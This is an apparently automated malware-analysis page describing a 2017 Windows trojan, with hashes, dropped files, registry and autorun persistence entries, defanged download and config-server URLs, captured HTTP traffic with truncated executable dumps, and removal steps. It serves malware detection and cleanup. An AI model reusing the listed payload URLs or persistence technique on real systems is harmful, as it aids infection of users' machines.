Trojan.GenericKD.4404831_a2029b6ffc

by malwarelabrobot on March 15th, 2017 in Malware Descriptions.

HEUR:Trojan.Win32.Generic (Kaspersky), Trojan.GenericKD.4404831 (B) (Emsisoft), Trojan.GenericKD.4404831 (AdAware), mzpefinder_pcap_file.YR (Lavasoft MAS)
Behaviour: Trojan


The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

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Summary
Dynamic Analysis
Static Analysis
Network Activity
Map
Strings from Dumps
Removals

MD5: a2029b6ffc8fa95119c266c44e8bcc9d
SHA1: 862f13010676bfc6d96997a82450d96254f1ce5e
SHA256: 1fdd14816d281f56c3eb3ae15e35420e89a3717a0efef52b42752773b8ee3691
SSDeep: 49152:hMTwFS8hjz4bDnlrp/7/cO0AGvS5RCUGe:MRCU
Size: 2407936 bytes
File type: EXE
Platform: WIN32
Entropy: Not Packed
PEID: MicrosoftVisualC, NETexecutable, UPolyXv05_v6
Company: Search Module Ltd.
Created at: 2017-02-15 13:06:45
Analyzed on: Windows7 SP1 32-bit


Summary:

Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):
No processes have been created.
The Trojan injects its code into the following process(es):

%original file name%.exe:3964
ShVCt4TyZb.exe:3668

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process %original file name%.exe:3964 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ShVCt4TyZb.exe (63001 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ShVCt4TyZbSXmx5SRn4r.exe (43686 bytes)

The process ShVCt4TyZb.exe:3668 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\cast.config (37 bytes)

Registry activity

The process %original file name%.exe:3964 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\CasterDate]
"date" = "14/03/2017"

[HKLM\SOFTWARE\Microsoft\Tracing\a2029b6ffc8fa95119c266c44e8bcc9d_RASMANCS]
"MaxFileSize" = "1048576"

[HKLM\SOFTWARE\Microsoft\Tracing\a2029b6ffc8fa95119c266c44e8bcc9d_RASAPI32]
"FileTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\a2029b6ffc8fa95119c266c44e8bcc9d_RASMANCS]
"ConsoleTracingMask" = "4294901760"

[HKCU\Software\Microsoft\wewewe]
"partner" = "tuto"
"Product" = "diskpower"

[HKLM\SOFTWARE\Microsoft\Tracing\a2029b6ffc8fa95119c266c44e8bcc9d_RASAPI32]
"EnableConsoleTracing" = "0"

[HKCU\Software\Microsoft\wewewe]
"channel" = "1"

[HKLM\SOFTWARE\Microsoft\Tracing\a2029b6ffc8fa95119c266c44e8bcc9d_RASAPI32]
"MaxFileSize" = "1048576"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Microsoft\Tracing\a2029b6ffc8fa95119c266c44e8bcc9d_RASAPI32]
"FileDirectory" = "%windir%\tracing"

[HKLM\SOFTWARE\Microsoft\Tracing\a2029b6ffc8fa95119c266c44e8bcc9d_RASMANCS]
"EnableConsoleTracing" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\a2029b6ffc8fa95119c266c44e8bcc9d_RASAPI32]
"EnableFileTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\a2029b6ffc8fa95119c266c44e8bcc9d_RASMANCS]
"EnableFileTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\a2029b6ffc8fa95119c266c44e8bcc9d_RASAPI32]
"ConsoleTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\a2029b6ffc8fa95119c266c44e8bcc9d_RASMANCS]
"FileDirectory" = "%windir%\tracing"
"FileTracingMask" = "4294901760"

The Trojan deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

The process ShVCt4TyZb.exe:3668 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Tracing\ShVCt4TyZb_RASAPI32]
"EnableConsoleTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\ShVCt4TyZb_RASMANCS]
"EnableConsoleTracing" = "0"
"FileTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\ShVCt4TyZb_RASAPI32]
"EnableFileTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\ShVCt4TyZb_RASMANCS]
"MaxFileSize" = "1048576"
"EnableFileTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\ShVCt4TyZb_RASAPI32]
"MaxFileSize" = "1048576"

[HKLM\SOFTWARE\Microsoft\Tracing\ShVCt4TyZb_RASMANCS]
"ConsoleTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\ShVCt4TyZb_RASAPI32]
"ConsoleTracingMask" = "4294901760"
"FileDirectory" = "%windir%\tracing"
"FileTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\ShVCt4TyZb_RASMANCS]
"FileDirectory" = "%windir%\tracing"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"26QROWG5JJ" = "C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ShVCt4TyZb.exe"

Dropped PE files

MD5 File path
6372344ac817305964e0b5776bf69137 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\ShVCt4TyZb.exe
28b8705b42a49a6a45270618d855059a c:\Users\"%CurrentUserName%"\AppData\Local\Temp\ShVCt4TyZbSXmx5SRn4r.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

Company Name:
Product Name: 3UOB7KSTU
Product Version: 3.7.5.1
Legal Copyright: Copyright (c) 3916
Legal Trademarks:
Original Filename: Ik76tttZ.exe
Internal Name: Ik76tttZ.exe
File Version: 3.7.5.1
File Description: 3UOB7KST
Comments: 3UOB7
Language: English (United States)

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
.text 8192 2160032 2160128 4.16928 d1ba8e7345f00a75c3117e91df1cda34
.rsrc 2170880 246320 246784 4.77166 f5a33259a79e6e3c7acb742dcf36a83a
.reloc 2424832 12 512 0.070639 51d7087be747d77035adf1496d5d6560

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL IP
hxxp://asiasoftwaretools.com/get/4/remote.exe 94.23.252.37
hxxp://asiasoftwaretools.com/get/3/wizzcaster_v2.exe 94.23.252.37
hxxp://wizzcaster.com/api/v5/config 176.31.252.54
hxxp://wizzcaster.com/api/v5/link 176.31.252.54
teredo.ipv6.microsoft.com 157.56.120.207
dns.msftncsi.com 131.107.255.255


IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET POLICY PE EXE or DLL Windows file download HTTP

Traffic

GET /get/3/wizzcaster_v2.exe HTTP/1.1
Host: asiasoftwaretools.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Date: Tue, 14 Mar 2017 13:29:13 GMT
Server: Apache/2.4.10 (Debian)
Cache-Control: no-cache
content-disposition: attachment; filename="wizzcaster_v2.exe"
Keep-Alive: timeout=10, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: application/x-msdownload
e0000..MZ......................@......................................
.........!..L.!This program cannot be run in DOS mode....$.......PE..L
...F..X.........."...0..$..........VB... ...`....@.. .................
......`............@..................................B..O....`.......
................@.......@.............................................
.. ............... ..H............text...\"... ...$.................. 
..`.rsrc........`.......&..............@..@.reloc.......@.............
.........@..B................8B......H....... $..............,7.......
........................................(....(....*.r...p*..0..>...
....r/..p(......(......!...%..|.o.........(.......(....(....(....*...0
..C.......r...p(......~....o..........o......r...po.......#....o.....r
...po..... .....#....o.....r...po.......'....o.....r...po.......(....o
.....r!..po.....(.....(....o......!...%..,.o......(.....o.....r'..po..
...(.....(....o......!...%..,.o......(.....o.....r/..p~....o..........
.o....t......o .....o!...("....(.........io#...o....*..0..k........(..
...s$......(%........i.Yo&....,......jo'.....s(.........io)...&...,..o
*....(.....o.........,..o*......*.......7..E..........Q^.......0..3...
.........( ...rO..po,..........%...%.(.....o....&..&..*.........//....
........( ...rs..po,..........%...o....&*..(....(....%-.r...ps-...z...
....%...o....&*..0..&.......(.....o/.....s0...%o1.....o2...o3....*..(4
...*.~....-.r...p.....( ...o5...s6........~....*.~....*.......*.~....*
..(7...*Vs....(8...t.........*......( ...r...po,..........%...o...
<<< skipped >>>


GET /get/4/remote.exe HTTP/1.1
Host: asiasoftwaretools.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Date: Tue, 14 Mar 2017 13:29:13 GMT
Server: Apache/2.4.10 (Debian)
Cache-Control: no-cache
content-disposition: attachment; filename="remote.exe"
Keep-Alive: timeout=10, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: application/x-msdownload
a0e00..MZ......................@......................................
.........!..L.!This program cannot be run in DOS mode....$.......PE..L
...S..X.........."...0..2...........P... ...`....@.. .................
......`............@.................................DP..O....`.......
................@.......O.............................................
.. ............... ..H............text....0... ...2.................. 
..`.rsrc........`.......4..............@..@.reloc.......@.............
.........@..B................xP......H....... $..............,7.......
........................................(....(....*.r...p*..0..>...
....r/..p(......(......!...%..|.o.........(.......(....(....(....*...0
..C.......r...p(......~....o..........o......r...po.......#....o.....r
...po..... .....#....o.....r...po.......'....o.....r...po.......(....o
.....r!..po.....(.....(....o......!...%..,.o......(.....o.....r'..po..
...(.....(....o......!...%..,.o......(.....o.....r/..p~....o..........
.o....t......o .....o!...("....(.........io#...o....*..0..k........(..
...s$......(%........i.Yo&....,......jo'.....s(.........io)...&...,..o
*....(.....o.........,..o*......*.......7..E..........Q^.......0..3...
.........( ...rO..po,..........%...%.(.....o....&..&..*.........//....
........( ...rs..po,..........%...o....&*..(....(....%-.r...ps-...z...
....%...o....&*..0..&.......(.....o/.....s0...%o1.....o2...o3....*..(4
...*.~....-.r...p.....( ...o5...s6........~....*.~....*.......*.~....*
..(7...*Vs....(8...t.........*......( ...r...po,..........%...o...
<<< skipped >>>


POST /api/v5/config HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: wizzcaster.com
Content-Length: 38
Expect: 100-continue
Connection: Keep-Alive


HTTP/1.1 100 Continue
....




uid=57a764d042bf8&days_after_install=0

HTTP/1.1 200 OK


Date: Tue, 14 Mar 2017 13:29:21 GMT
Server: Apache/2.4.10 (Debian)
Cache-Control: no-cache
Set-Cookie: laravel_session=ec792a75e8ba0655541b8f48dad7627ac825ac04; expires=Tue, 14-Mar-2017 15:29:21 GMT; Max-Age=7200; path=/; httponly
Content-Length: 28
Keep-Alive: timeout=10, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
{"time_between_prints":"15"}HTTP/1.1 200 OK..Date: Tue, 14 Mar 2017 13
:29:21 GMT..Server: Apache/2.4.10 (Debian)..Cache-Control: no-cache..S
et-Cookie: laravel_session=ec792a75e8ba0655541b8f48dad7627ac825ac04; e
xpires=Tue, 14-Mar-2017 15:29:21 GMT; Max-Age=7200; path=/; httponly..
Content-Length: 28..Keep-Alive: timeout=10, max=100..Connection: Keep-
Alive..Content-Type: text/html; charset=UTF-8..{"time_between_prints":
"15"}....


POST /api/v5/link HTTP/1.1


Content-Type: application/x-www-form-urlencoded
Host: wizzcaster.com
Content-Length: 17
Expect: 100-continue


HTTP/1.1 100 Continue
....




uid=57a764d042bf8

HTTP/1.1 200 OK


Date: Tue, 14 Mar 2017 13:29:23 GMT
Server: Apache/2.4.10 (Debian)
Cache-Control: no-cache
Set-Cookie: laravel_session=a8acae278fed2daa7fcd9526565bcf7079e9c1c2; expires=Tue, 14-Mar-2017 15:29:23 GMT; Max-Age=7200; path=/; httponly
Content-Length: 67
Content-Type: text/html; charset=UTF-8
{"link":"http:\/\/bestoffersfortoday.com\/redirect\/57a764d042bf8"}HTT
P/1.1 200 OK..Date: Tue, 14 Mar 2017 13:29:23 GMT..Server: Apache/2.4.
10 (Debian)..Cache-Control: no-cache..Set-Cookie: laravel_session=a8ac
ae278fed2daa7fcd9526565bcf7079e9c1c2; expires=Tue, 14-Mar-2017 15:29:2
3 GMT; Max-Age=7200; path=/; httponly..Content-Length: 67..Content-Typ
e: text/html; charset=UTF-8..{"link":"http:\/\/bestoffersfortoday.com\
/redirect\/57a764d042bf8"}..

The Trojan connects to the servers at the folowing location(s):

ShVCt4TyZb.exe_3668_rwx_002E2000_00002000:

0/4/ /$/


Remove it with Ad-Aware

  1. Click (here) to download and install Ad-Aware Free Antivirus.
  2. Update the definition files.
  3. Run a full scan of your computer.


Manual removal*

  1. Terminate malicious process(es) (How to End a Process With the Task Manager):No processes have been created.
  2. Delete the original Trojan file.
  3. Delete or disinfect the following files created/modified by the Trojan:

    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ShVCt4TyZb.exe (63001 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ShVCt4TyZbSXmx5SRn4r.exe (43686 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\cast.config (37 bytes)

  4. Delete the following value(s) in the autorun key (How to Work with System Registry):

    [HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
    "26QROWG5JJ" = "C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ShVCt4TyZb.exe"

  5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
  6. Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

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